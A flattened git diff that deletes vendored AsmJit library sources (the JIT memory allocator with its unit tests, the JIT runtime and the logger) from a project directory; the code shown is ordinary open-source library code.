DebugUtils::errored(kErrorInvalidArgument); - - if (ASMJIT_UNLIKELY(newSize == 0)) - return release(roPtr); - - JitAllocatorPrivateImpl* impl = static_cast(_impl); - LockGuard guard(impl->lock); - JitAllocatorBlock* block = impl->tree.get(static_cast(roPtr)); - - if (ASMJIT_UNLIKELY(!block)) - return DebugUtils::errored(kErrorInvalidArgument); - - // Offset relative to the start of the block. - JitAllocatorPool* pool = block->pool(); - size_t offset = (size_t)((uint8_t*)roPtr - block->roPtr()); - - // The first bit representing the allocated area and its size. - uint32_t areaStart = uint32_t(offset >> pool->granularityLog2); - uint32_t areaEnd = uint32_t(Support::bitVectorIndexOf(block->_stopBitVector, areaStart, true)) + 1; - - uint32_t areaPrevSize = areaEnd - areaStart; - uint32_t areaShrunkSize = pool->areaSizeFromByteSize(newSize); - - if (ASMJIT_UNLIKELY(areaShrunkSize > areaPrevSize)) - return DebugUtils::errored(kErrorInvalidState); - - uint32_t areaDiff = areaPrevSize - areaShrunkSize; - if (areaDiff) { - block->markShrunkArea(areaStart + areaShrunkSize, areaEnd); - - // Fill released memory if the secure mode is enabled. - if (impl->options & kOptionFillUnusedMemory) - JitAllocatorImpl_fillPattern(block->rwPtr() + (areaStart + areaShrunkSize) * pool->granularity, fillPattern(), areaDiff * pool->granularity); - } - - return kErrorOk; -} - -// ============================================================================ -// [asmjit::JitAllocator - Unit] -// ============================================================================ - -#if defined(ASMJIT_TEST) -// A pseudo random number generator based on a paper by Sebastiano Vigna: -// http://vigna.di.unimi.it/ftp/papers/xorshiftplus.pdf -class Random { -public: - // Constants suggested as `23/18/5`. - enum Steps : uint32_t { - kStep1_SHL = 23, - kStep2_SHR = 18, - kStep3_SHR = 5 - }; - - inline explicit Random(uint64_t seed = 0) noexcept { reset(seed); } - inline Random(const Random& other) noexcept = default; - - inline void reset(uint64_t seed = 0) noexcept { - // The number is arbitrary, it means nothing. - constexpr uint64_t kZeroSeed = 0x1F0A2BE71D163FA0u; - - // Generate the state data by using splitmix64. - for (uint32_t i = 0; i < 2; i++) { - seed += 0x9E3779B97F4A7C15u; - uint64_t x = seed; - x = (x ^ (x >> 30)) * 0xBF58476D1CE4E5B9u; - x = (x ^ (x >> 27)) * 0x94D049BB133111EBu; - x = (x ^ (x >> 31)); - _state[i] = x != 0 ? x : kZeroSeed; - } - } - - inline uint32_t nextUInt32() noexcept { - return uint32_t(nextUInt64() >> 32); - } - - inline uint64_t nextUInt64() noexcept { - uint64_t x = _state[0]; - uint64_t y = _state[1]; - - x ^= x << kStep1_SHL; - y ^= y >> kStep3_SHR; - x ^= x >> kStep2_SHR; - x ^= y; - - _state[0] = y; - _state[1] = x; - return x + y; - } - - uint64_t _state[2]; -}; - -// Helper class to verify that JitAllocator doesn't return addresses that overlap. -class JitAllocatorWrapper { -public: - // Address to a memory region of a given size. - class Range { - public: - inline Range(uint8_t* addr, size_t size) noexcept - : addr(addr), - size(size) {} - uint8_t* addr; - size_t size; - }; - - // Based on JitAllocator::Block, serves our purpose well... - class Record : public ZoneTreeNodeT, - public Range { - public: - inline Record(uint8_t* addr, size_t size) - : ZoneTreeNodeT(), - Range(addr, size) {} - - inline bool operator<(const Record& other) const noexcept { return addr < other.addr; } - inline bool operator>(const Record& other) const noexcept { return addr > other.addr; } - - inline bool operator<(const uint8_t* key) const noexcept { return addr + size <= key; } - inline bool operator>(const uint8_t* key) const noexcept { return addr > key; } - }; - - Zone _zone; - ZoneAllocator _heap; - ZoneTree _records; - JitAllocator _allocator; - - explicit JitAllocatorWrapper(const JitAllocator::CreateParams* params) noexcept - : _zone(1024 * 1024), - _heap(&_zone), - _allocator(params) {} - - void _insert(void* p_, size_t size) noexcept { - uint8_t* p = static_cast(p_); - uint8_t* pEnd = p + size - 1; - - Record* record; - - record = _records.get(p); - if (record) - EXPECT(record == nullptr, "Address [%p:%p] collides with a newly allocated [%p:%p]\n", record->addr, record->addr + record->size, p, p + size); - - record = _records.get(pEnd); - if (record) - EXPECT(record == nullptr, "Address [%p:%p] collides with a newly allocated [%p:%p]\n", record->addr, record->addr + record->size, p, p + size); - - record = _heap.newT(p, size); - EXPECT(record != nullptr, "Out of memory, cannot allocate 'Record'"); - - _records.insert(record); - } - - void _remove(void* p) noexcept { - Record* record = _records.get(static_cast(p)); - EXPECT(record != nullptr, "Address [%p] doesn't exist\n", p); - - _records.remove(record); - _heap.release(record, sizeof(Record)); - } - - void* alloc(size_t size) noexcept { - void* roPtr; - void* rwPtr; - - Error err = _allocator.alloc(&roPtr, &rwPtr, size); - EXPECT(err == kErrorOk, "JitAllocator failed to allocate %zu bytes\n", size); - - _insert(roPtr, size); - return roPtr; - } - - void release(void* p) noexcept { - _remove(p); - EXPECT(_allocator.release(p) == kErrorOk, "JitAllocator failed to release '%p'\n", p); - } - - void shrink(void* p, size_t newSize) noexcept { - Record* record = _records.get(static_cast(p)); - EXPECT(record != nullptr, "Address [%p] doesn't exist\n", p); - - if (!newSize) - return release(p); - - Error err = _allocator.shrink(p, newSize); - EXPECT(err == kErrorOk, "JitAllocator failed to shrink %p to %zu bytes\n", p, newSize); - - record->size = newSize; - } -}; - -static void JitAllocatorTest_shuffle(void** ptrArray, size_t count, Random& prng) noexcept { - for (size_t i = 0; i < count; ++i) - std::swap(ptrArray[i], ptrArray[size_t(prng.nextUInt32() % count)]); -} - -static void JitAllocatorTest_usage(JitAllocator& allocator) noexcept { - JitAllocator::Statistics stats = allocator.statistics(); - INFO(" Block Count : %9llu [Blocks]" , (unsigned long long)(stats.blockCount())); - INFO(" Reserved (VirtMem): %9llu [Bytes]" , (unsigned long long)(stats.reservedSize())); - INFO(" Used (VirtMem): %9llu [Bytes] (%.1f%%)", (unsigned long long)(stats.usedSize()), stats.usedSizeAsPercent()); - INFO(" Overhead (HeapMem): %9llu [Bytes] (%.1f%%)", (unsigned long long)(stats.overheadSize()), stats.overheadSizeAsPercent()); -} - -template -static void BitVectorRangeIterator_testRandom(Random& rnd, size_t count) noexcept { - for (size_t i = 0; i < count; i++) { - T in[kPatternSize]; - T out[kPatternSize]; - - for (size_t j = 0; j < kPatternSize; j++) { - in[j] = T(uint64_t(rnd.nextUInt32() & 0xFFu) * 0x0101010101010101); - out[j] = Bit == 0 ? Support::allOnes() : T(0); - } - - { - BitVectorRangeIterator it(in, kPatternSize); - size_t rangeStart, rangeEnd; - while (it.nextRange(&rangeStart, &rangeEnd)) { - if (Bit) - Support::bitVectorFill(out, rangeStart, rangeEnd - rangeStart); - else - Support::bitVectorClear(out, rangeStart, rangeEnd - rangeStart); - } - } - - for (size_t j = 0; j < kPatternSize; j++) { - EXPECT(in[j] == out[j], "Invalid pattern detected at [%zu] (%llX != %llX", j, (unsigned long long)in[j], (unsigned long long)out[j]); - } - } -} - -UNIT(jit_allocator) { - size_t kCount = BrokenAPI::hasArg("--quick") ? 1000 : 100000; - - struct TestParams { - const char* name; - uint32_t options; - uint32_t blockSize; - uint32_t granularity; - }; - - static TestParams testParams[] = { - { "Default", 0, 0, 0 }, - { "16MB blocks", 0, 16 * 1024 * 1024, 0 }, - { "256B granularity", 0, 0, 256 }, - { "kOptionUseDualMapping", JitAllocator::kOptionUseDualMapping, 0, 0 }, - { "kOptionUseMultiplePools", JitAllocator::kOptionUseMultiplePools, 0, 0 }, - { "kOptionFillUnusedMemory", JitAllocator::kOptionFillUnusedMemory, 0, 0 }, - { "kOptionImmediateRelease", JitAllocator::kOptionImmediateRelease, 0, 0 }, - { "kOptionUseDualMapping | kOptionFillUnusedMemory", JitAllocator::kOptionUseDualMapping | JitAllocator::kOptionFillUnusedMemory, 0, 0 } - }; - - INFO("BitVectorRangeIterator"); - { - Random rnd; - BitVectorRangeIterator_testRandom(rnd, kCount); - } - - INFO("BitVectorRangeIterator"); - { - Random rnd; - BitVectorRangeIterator_testRandom(rnd, kCount); - } - - for (uint32_t testId = 0; testId < ASMJIT_ARRAY_SIZE(testParams); testId++) { - INFO("JitAllocator(%s)", testParams[testId].name); - - JitAllocator::CreateParams params {}; - params.options = testParams[testId].options; - params.blockSize = testParams[testId].blockSize; - params.granularity = testParams[testId].granularity; - - size_t fixedBlockSize = 256; - - JitAllocatorWrapper wrapper(¶ms); - Random prng(100); - - size_t i; - - INFO(" Memory alloc/release test - %d allocations", kCount); - - void** ptrArray = (void**)::malloc(sizeof(void*) * size_t(kCount)); - EXPECT(ptrArray != nullptr, - "Couldn't allocate '%u' bytes for pointer-array", unsigned(sizeof(void*) * size_t(kCount))); - - // Random blocks tests... - INFO(" Allocating random blocks..."); - for (i = 0; i < kCount; i++) - ptrArray[i] = wrapper.alloc((prng.nextUInt32() % 1024) + 8); - JitAllocatorTest_usage(wrapper._allocator); - - INFO(" Releasing all allocated blocks from the beginning..."); - for (i = 0; i < kCount; i++) - wrapper.release(ptrArray[i]); - JitAllocatorTest_usage(wrapper._allocator); - - INFO(" Allocating random blocks again...", kCount); - for (i = 0; i < kCount; i++) - ptrArray[i] = wrapper.alloc((prng.nextUInt32() % 1024) + 8); - JitAllocatorTest_usage(wrapper._allocator); - - INFO(" Shuffling allocated blocks..."); - JitAllocatorTest_shuffle(ptrArray, unsigned(kCount), prng); - - INFO(" Releasing 50%% of allocated blocks..."); - for (i = 0; i < kCount / 2; i++) - wrapper.release(ptrArray[i]); - JitAllocatorTest_usage(wrapper._allocator); - - INFO(" Allocating 50%% more blocks again..."); - for (i = 0; i < kCount / 2; i++) - ptrArray[i] = wrapper.alloc((prng.nextUInt32() % 1024) + 8); - JitAllocatorTest_usage(wrapper._allocator); - - INFO(" Releasing all allocated blocks from the end..."); - for (i = 0; i < kCount; i++) - wrapper.release(ptrArray[kCount - i - 1]); - JitAllocatorTest_usage(wrapper._allocator); - - // Fixed blocks tests... - INFO(" Allocating %zuB blocks...", fixedBlockSize); - for (i = 0; i < kCount / 2; i++) - ptrArray[i] = wrapper.alloc(fixedBlockSize); - JitAllocatorTest_usage(wrapper._allocator); - - INFO(" Shrinking each %zuB block to 1 byte", fixedBlockSize); - for (i = 0; i < kCount / 2; i++) - wrapper.shrink(ptrArray[i], 1); - JitAllocatorTest_usage(wrapper._allocator); - - INFO(" Allocating more 64B blocks...", 64); - for (i = kCount / 2; i < kCount; i++) - ptrArray[i] = wrapper.alloc(64); - JitAllocatorTest_usage(wrapper._allocator); - - INFO(" Releasing all blocks from the beginning..."); - for (i = 0; i < kCount; i++) - wrapper.release(ptrArray[i]); - JitAllocatorTest_usage(wrapper._allocator); - - INFO(" Allocating %zuB blocks...", fixedBlockSize); - for (i = 0; i < kCount; i++) - ptrArray[i] = wrapper.alloc(fixedBlockSize); - JitAllocatorTest_usage(wrapper._allocator); - - INFO(" Shuffling allocated blocks..."); - JitAllocatorTest_shuffle(ptrArray, unsigned(kCount), prng); - - INFO(" Releasing 50%% of allocated blocks..."); - for (i = 0; i < kCount / 2; i++) - wrapper.release(ptrArray[i]); - JitAllocatorTest_usage(wrapper._allocator); - - INFO(" Allocating 50%% more %zuB blocks again...", fixedBlockSize); - for (i = 0; i < kCount / 2; i++) - ptrArray[i] = wrapper.alloc(fixedBlockSize); - JitAllocatorTest_usage(wrapper._allocator); - - INFO(" Releasing all allocated blocks from the end..."); - for (i = 0; i < kCount; i++) - wrapper.release(ptrArray[kCount - i - 1]); - JitAllocatorTest_usage(wrapper._allocator); - - ::free(ptrArray); - } -} -#endif - -ASMJIT_END_NAMESPACE - -#endif diff --git a/src/Theodosius/asmjit/core/jitallocator.h b/src/Theodosius/asmjit/core/jitallocator.h deleted file mode 100644 index c9eea2a..0000000 --- a/src/Theodosius/asmjit/core/jitallocator.h +++ /dev/null @@ -1,278 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#ifndef ASMJIT_CORE_JITALLOCATOR_H_INCLUDED -#define ASMJIT_CORE_JITALLOCATOR_H_INCLUDED - -#include "../core/api-config.h" -#ifndef ASMJIT_NO_JIT - -#include "../core/globals.h" -#include "../core/virtmem.h" - -ASMJIT_BEGIN_NAMESPACE - -//! \addtogroup asmjit_virtual_memory -//! \{ - -// ============================================================================ -// [asmjit::JitAllocator] -// ============================================================================ - -//! A simple implementation of memory manager that uses `asmjit::VirtMem` -//! functions to manage virtual memory for JIT compiled code. -//! -//! Implementation notes: -//! -//! - Granularity of allocated blocks is different than granularity for a typical -//! C malloc. In addition, the allocator can use several memory pools having a -//! different granularity to minimize the maintenance overhead. Multiple pools -//! feature requires `kFlagUseMultiplePools` flag to be set. -//! -//! - The allocator doesn't store any information in executable memory, instead, -//! the implementation uses two bit-vectors to manage allocated memory of each -//! allocator-block. The first bit-vector called 'used' is used to track used -//! memory (where each bit represents memory size defined by granularity) and -//! the second bit vector called 'stop' is used as a sentinel to mark where -//! the allocated area ends. -//! -//! - Internally, the allocator also uses RB tree to keep track of all blocks -//! across all pools. Each inserted block is added to the tree so it can be -//! matched fast during `release()` and `shrink()`. -class JitAllocator { -public: - ASMJIT_NONCOPYABLE(JitAllocator) - - struct Impl { - //! Allocator options, see \ref JitAllocator::Options. - uint32_t options; - //! Base block size (0 if the allocator is not initialized). - uint32_t blockSize; - //! Base granularity (0 if the allocator is not initialized). - uint32_t granularity; - //! A pattern that is used to fill unused memory if secure mode is enabled. - uint32_t fillPattern; - }; - - //! Allocator implementation (private). - Impl* _impl; - - enum Options : uint32_t { - //! Enables the use of an anonymous memory-mapped memory that is mapped into - //! two buffers having a different pointer. The first buffer has read and - //! execute permissions and the second buffer has read+write permissions. - //! - //! See \ref VirtMem::allocDualMapping() for more details about this feature. - kOptionUseDualMapping = 0x00000001u, - - //! Enables the use of multiple pools with increasing granularity instead of - //! a single pool. This flag would enable 3 internal pools in total having - //! 64, 128, and 256 bytes granularity. - //! - //! This feature is only recommended for users that generate a lot of code - //! and would like to minimize the overhead of `JitAllocator` itself by - //! having blocks of different allocation granularities. Using this feature - //! only for few allocations won't pay off as the allocator may need to - //! create more blocks initially before it can take the advantage of - //! variable block granularity. - kOptionUseMultiplePools = 0x00000002u, - - //! Always fill reserved memory by a fill-pattern. - //! - //! Causes a new block to be cleared by the fill pattern and freshly - //! released memory to be cleared before making it ready for another use. - kOptionFillUnusedMemory = 0x00000004u, - - //! When this flag is set the allocator would immediately release unused - //! blocks during `release()` or `reset()`. When this flag is not set the - //! allocator would keep one empty block in each pool to prevent excessive - //! virtual memory allocations and deallocations in border cases, which - //! involve constantly allocating and deallocating a single block caused - //! by repetitive calling `alloc()` and `release()` when the allocator has - //! either no blocks or have all blocks fully occupied. - kOptionImmediateRelease = 0x00000008u, - - //! Use a custom fill pattern, must be combined with `kFlagFillUnusedMemory`. - kOptionCustomFillPattern = 0x10000000u - }; - - //! \name Construction & Destruction - //! \{ - - //! Parameters that can be passed to `JitAllocator` constructor. - //! - //! Use it like this: - //! - //! ``` - //! // Zero initialize (zero means the default value) and change what you need. - //! JitAllocator::CreateParams params {}; - //! params.blockSize = 1024 * 1024; - //! - //! // Create the allocator. - //! JitAllocator allocator(¶ms); - //! ``` - struct CreateParams { - //! Allocator options, see \ref JitAllocator::Options. - //! - //! No options are used by default. - uint32_t options; - - //! Base size of a single block in bytes (default 64kB). - //! - //! \remarks Block size must be equal or greater to page size and must be - //! power of 2. If the input is not valid then the default block size will - //! be used instead. - uint32_t blockSize; - - //! Base granularity (and also natural alignment) of allocations in bytes - //! (default 64). - //! - //! Since the `JitAllocator` uses bit-arrays to mark used memory the - //! granularity also specifies how many bytes correspond to a single bit in - //! such bit-array. Higher granularity means more waste of virtual memory - //! (as it increases the natural alignment), but smaller bit-arrays as less - //! bits would be required per a single block. - uint32_t granularity; - - //! Patter to use to fill unused memory. - //! - //! Only used if \ref kOptionCustomFillPattern is set. - uint32_t fillPattern; - - // Reset the content of `CreateParams`. - inline void reset() noexcept { memset(this, 0, sizeof(*this)); } - }; - - //! Creates a `JitAllocator` instance. - explicit ASMJIT_API JitAllocator(const CreateParams* params = nullptr) noexcept; - //! Destroys the `JitAllocator` instance and release all blocks held. - ASMJIT_API ~JitAllocator() noexcept; - - inline bool isInitialized() const noexcept { return _impl->blockSize == 0; } - - //! Free all allocated memory - makes all pointers returned by `alloc()` invalid. - //! - //! \remarks This function is not thread-safe as it's designed to be used when - //! nobody else is using allocator. The reason is that there is no point of - //1 calling `reset()` when the allocator is still in use. - ASMJIT_API void reset(uint32_t resetPolicy = Globals::kResetSoft) noexcept; - - //! \} - - //! \name Accessors - //! \{ - - //! Returns allocator options, see `Flags`. - inline uint32_t options() const noexcept { return _impl->options; } - //! Tests whether the allocator has the given `option` set. - inline bool hasOption(uint32_t option) const noexcept { return (_impl->options & option) != 0; } - - //! Returns a base block size (a minimum size of block that the allocator would allocate). - inline uint32_t blockSize() const noexcept { return _impl->blockSize; } - //! Returns granularity of the allocator. - inline uint32_t granularity() const noexcept { return _impl->granularity; } - //! Returns pattern that is used to fill unused memory if `kFlagUseFillPattern` is set. - inline uint32_t fillPattern() const noexcept { return _impl->fillPattern; } - - //! \} - - //! \name Alloc & Release - //! \{ - - //! Allocate `size` bytes of virtual memory. - //! - //! \remarks This function is thread-safe. - ASMJIT_API Error alloc(void** roPtrOut, void** rwPtrOut, size_t size) noexcept; - - //! Release a memory returned by `alloc()`. - //! - //! \remarks This function is thread-safe. - ASMJIT_API Error release(void* roPtr) noexcept; - - //! Free extra memory allocated with `p` by restricting it to `newSize` size. - //! - //! \remarks This function is thread-safe. - ASMJIT_API Error shrink(void* roPtr, size_t newSize) noexcept; - - //! \} - - //! \name Statistics - //! \{ - - //! Statistics about `JitAllocator`. - struct Statistics { - //! Number of blocks `JitAllocator` maintains. - size_t _blockCount; - //! How many bytes are currently used / allocated. - size_t _usedSize; - //! How many bytes are currently reserved by the allocator. - size_t _reservedSize; - //! Allocation overhead (in bytes) required to maintain all blocks. - size_t _overheadSize; - - inline void reset() noexcept { - _blockCount = 0; - _usedSize = 0; - _reservedSize = 0; - _overheadSize = 0; - } - - //! Returns count of blocks managed by `JitAllocator` at the moment. - inline size_t blockCount() const noexcept { return _blockCount; } - - //! Returns how many bytes are currently used. - inline size_t usedSize() const noexcept { return _usedSize; } - //! Returns the number of bytes unused by the allocator at the moment. - inline size_t unusedSize() const noexcept { return _reservedSize - _usedSize; } - //! Returns the total number of bytes bytes reserved by the allocator (sum of sizes of all blocks). - inline size_t reservedSize() const noexcept { return _reservedSize; } - //! Returns the number of bytes the allocator needs to manage the allocated memory. - inline size_t overheadSize() const noexcept { return _overheadSize; } - - inline double usedSizeAsPercent() const noexcept { - return (double(usedSize()) / (double(reservedSize()) + 1e-16)) * 100.0; - } - - inline double unusedSizeAsPercent() const noexcept { - return (double(unusedSize()) / (double(reservedSize()) + 1e-16)) * 100.0; - } - - inline double overheadSizeAsPercent() const noexcept { - return (double(overheadSize()) / (double(reservedSize()) + 1e-16)) * 100.0; - } - }; - - //! Returns JIT allocator statistics. - //! - //! \remarks This function is thread-safe. - ASMJIT_API Statistics statistics() const noexcept; - - //! \} -}; - -//! \} - -ASMJIT_END_NAMESPACE - -#endif -#endif diff --git a/src/Theodosius/asmjit/core/jitruntime.cpp b/src/Theodosius/asmjit/core/jitruntime.cpp deleted file mode 100644 index a2b46d7..0000000 --- a/src/Theodosius/asmjit/core/jitruntime.cpp +++ /dev/null @@ -1,128 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#include "../core/api-build_p.h" -#ifndef ASMJIT_NO_JIT - -#include "../core/cpuinfo.h" -#include "../core/jitruntime.h" - -ASMJIT_BEGIN_NAMESPACE - -// ============================================================================ -// [asmjit::JitRuntime - Utilities] -// ============================================================================ - -// Only useful on non-x86 architectures. -static inline void JitRuntime_flushInstructionCache(const void* p, size_t size) noexcept { -#if ASMJIT_ARCH_X86 - DebugUtils::unused(p, size); -#else -# if defined(_WIN32) - // Windows has a built-in support in `kernel32.dll`. - ::FlushInstructionCache(::GetCurrentProcess(), p, size); -# elif defined(__GNUC__) - char* start = static_cast(const_cast(p)); - char* end = start + size; - __builtin___clear_cache(start, end); -# else - DebugUtils::unused(p, size); -# endif -#endif -} - -// ============================================================================ -// [asmjit::JitRuntime - Construction / Destruction] -// ============================================================================ - -JitRuntime::JitRuntime(const JitAllocator::CreateParams* params) noexcept - : _allocator(params) { - _environment = hostEnvironment(); - _environment.setFormat(Environment::kFormatJIT); -} - -JitRuntime::~JitRuntime() noexcept {} - -// ============================================================================ -// [asmjit::JitRuntime - Interface] -// ============================================================================ - -Error JitRuntime::_add(void** dst, CodeHolder* code) noexcept { - *dst = nullptr; - - ASMJIT_PROPAGATE(code->flatten()); - ASMJIT_PROPAGATE(code->resolveUnresolvedLinks()); - - size_t estimatedCodeSize = code->codeSize(); - if (ASMJIT_UNLIKELY(estimatedCodeSize == 0)) - return DebugUtils::errored(kErrorNoCodeGenerated); - - uint8_t* ro; - uint8_t* rw; - ASMJIT_PROPAGATE(_allocator.alloc((void**)&ro, (void**)&rw, estimatedCodeSize)); - - // Relocate the code. - Error err = code->relocateToBase(uintptr_t((void*)ro)); - if (ASMJIT_UNLIKELY(err)) { - _allocator.release(ro); - return err; - } - - // Recalculate the final code size and shrink the memory we allocated for it - // in case that some relocations didn't require records in an address table. - size_t codeSize = code->codeSize(); - - for (Section* section : code->_sections) { - size_t offset = size_t(section->offset()); - size_t bufferSize = size_t(section->bufferSize()); - size_t virtualSize = size_t(section->virtualSize()); - - ASMJIT_ASSERT(offset + bufferSize <= codeSize); - memcpy(rw + offset, section->data(), bufferSize); - - if (virtualSize > bufferSize) { - ASMJIT_ASSERT(offset + virtualSize <= codeSize); - memset(rw + offset + bufferSize, 0, virtualSize - bufferSize); - } - } - - if (codeSize < estimatedCodeSize) - _allocator.shrink(ro, codeSize); - - flush(ro, codeSize); - *dst = ro; - - return kErrorOk; -} - -Error JitRuntime::_release(void* p) noexcept { - return _allocator.release(p); -} - -void JitRuntime::flush(const void* p, size_t size) noexcept { - JitRuntime_flushInstructionCache(p, size); -} - -ASMJIT_END_NAMESPACE - -#endif diff --git a/src/Theodosius/asmjit/core/jitruntime.h b/src/Theodosius/asmjit/core/jitruntime.h deleted file mode 100644 index 91880e6..0000000 --- a/src/Theodosius/asmjit/core/jitruntime.h +++ /dev/null @@ -1,126 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#ifndef ASMJIT_CORE_JITRUNTIME_H_INCLUDED -#define ASMJIT_CORE_JITRUNTIME_H_INCLUDED - -#include "../core/api-config.h" -#ifndef ASMJIT_NO_JIT - -#include "../core/codeholder.h" -#include "../core/jitallocator.h" -#include "../core/target.h" - -ASMJIT_BEGIN_NAMESPACE - -class CodeHolder; - -//! \addtogroup asmjit_virtual_memory -//! \{ - -// ============================================================================ -// [asmjit::JitRuntime] -// ============================================================================ - -//! JIT execution runtime is a special `Target` that is designed to store and -//! execute the generated code. -class ASMJIT_VIRTAPI JitRuntime : public Target { -public: - ASMJIT_NONCOPYABLE(JitRuntime) - - //! Virtual memory allocator. - JitAllocator _allocator; - - //! \name Construction & Destruction - //! \{ - - //! Creates a `JitRuntime` instance. - explicit ASMJIT_API JitRuntime(const JitAllocator::CreateParams* params = nullptr) noexcept; - //! Destroys the `JitRuntime` instance. - ASMJIT_API virtual ~JitRuntime() noexcept; - - inline void reset(uint32_t resetPolicy = Globals::kResetSoft) noexcept { - _allocator.reset(resetPolicy); - } - - //! \} - - //! \name Accessors - //! \{ - - //! Returns the associated `JitAllocator`. - inline JitAllocator* allocator() const noexcept { return const_cast(&_allocator); } - - //! \} - - //! \name Utilities - //! \{ - - // NOTE: To allow passing function pointers to `add()` and `release()` the - // virtual methods are prefixed with `_` and called from templates instead. - - //! Allocates memory needed for a code stored in the `CodeHolder` and relocates - //! the code to the pointer allocated. - //! - //! The beginning of the memory allocated for the function is returned in `dst`. - //! If failed `Error` code is returned and `dst` is explicitly set to `nullptr` - //! (this means that you don't have to set it to null before calling `add()`). - template - inline Error add(Func* dst, CodeHolder* code) noexcept { - return _add(Support::ptr_cast_impl(dst), code); - } - - //! Releases `p` which was obtained by calling `add()`. - template - inline Error release(Func p) noexcept { - return _release(Support::ptr_cast_impl(p)); - } - - //! Type-unsafe version of `add()`. - ASMJIT_API virtual Error _add(void** dst, CodeHolder* code) noexcept; - - //! Type-unsafe version of `release()`. - ASMJIT_API virtual Error _release(void* p) noexcept; - - //! Flushes an instruction cache. - //! - //! This member function is called after the code has been copied to the - //! destination buffer. It is only useful for JIT code generation as it - //! causes a flush of the processor's cache. - //! - //! Flushing is basically a NOP under X86, but is needed by architectures - //! that do not have a transparent instruction cache like ARM. - //! - //! This function can also be overridden to improve compatibility with tools - //! such as Valgrind, however, it's not an official part of AsmJit. - ASMJIT_API virtual void flush(const void* p, size_t size) noexcept; - - //! \} -}; - -//! \} - -ASMJIT_END_NAMESPACE - -#endif -#endif diff --git a/src/Theodosius/asmjit/core/logger.cpp b/src/Theodosius/asmjit/core/logger.cpp deleted file mode 100644 index 22e0b9a..0000000 --- a/src/Theodosius/asmjit/core/logger.cpp +++ /dev/null @@ -1,124 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#include "../core/api-build_p.h" -#ifndef ASMJIT_NO_LOGGING - -#include "../core/logger.h" -#include "../core/string.h" -#include "../core/support.h" - -ASMJIT_BEGIN_NAMESPACE - -// ============================================================================ -// [asmjit::Logger - Construction / Destruction] -// ============================================================================ - -Logger::Logger() noexcept - : _options() {} -Logger::~Logger() noexcept {} - -// ============================================================================ -// [asmjit::Logger - Logging] -// ============================================================================ - -Error Logger::logf(const char* fmt, ...) noexcept { - Error err; - va_list ap; - - va_start(ap, fmt); - err = logv(fmt, ap); - va_end(ap); - - return err; -} - -Error Logger::logv(const char* fmt, va_list ap) noexcept { - StringTmp<2048> sb; - ASMJIT_PROPAGATE(sb.appendVFormat(fmt, ap)); - return log(sb); -} - -Error Logger::logBinary(const void* data, size_t size) noexcept { - static const char prefix[] = "db "; - - StringTmp<256> sb; - sb.append(prefix, ASMJIT_ARRAY_SIZE(prefix) - 1); - - size_t i = size; - const uint8_t* s = static_cast(data); - - while (i) { - uint32_t n = uint32_t(Support::min(i, 16)); - sb.truncate(ASMJIT_ARRAY_SIZE(prefix) - 1); - sb.appendHex(s, n); - sb.append('\n'); - ASMJIT_PROPAGATE(log(sb)); - s += n; - i -= n; - } - - return kErrorOk; -} - -// ============================================================================ -// [asmjit::FileLogger - Construction / Destruction] -// ============================================================================ - -FileLogger::FileLogger(FILE* file) noexcept - : _file(file) {} -FileLogger::~FileLogger() noexcept {} - -// ============================================================================ -// [asmjit::FileLogger - Logging] -// ============================================================================ - -Error FileLogger::_log(const char* data, size_t size) noexcept { - if (!_file) - return kErrorOk; - - if (size == SIZE_MAX) - size = strlen(data); - - fwrite(data, 1, size, _file); - return kErrorOk; -} - -// ============================================================================ -// [asmjit::StringLogger - Construction / Destruction] -// ============================================================================ - -StringLogger::StringLogger() noexcept {} -StringLogger::~StringLogger() noexcept {} - -// ============================================================================ -// [asmjit::StringLogger - Logging] -// ============================================================================ - -Error StringLogger::_log(const char* data, size_t size) noexcept { - return _content.append(data, size); -} - -ASMJIT_END_NAMESPACE - -#endif diff --git a/src/Theodosius/asmjit/core/logger.h 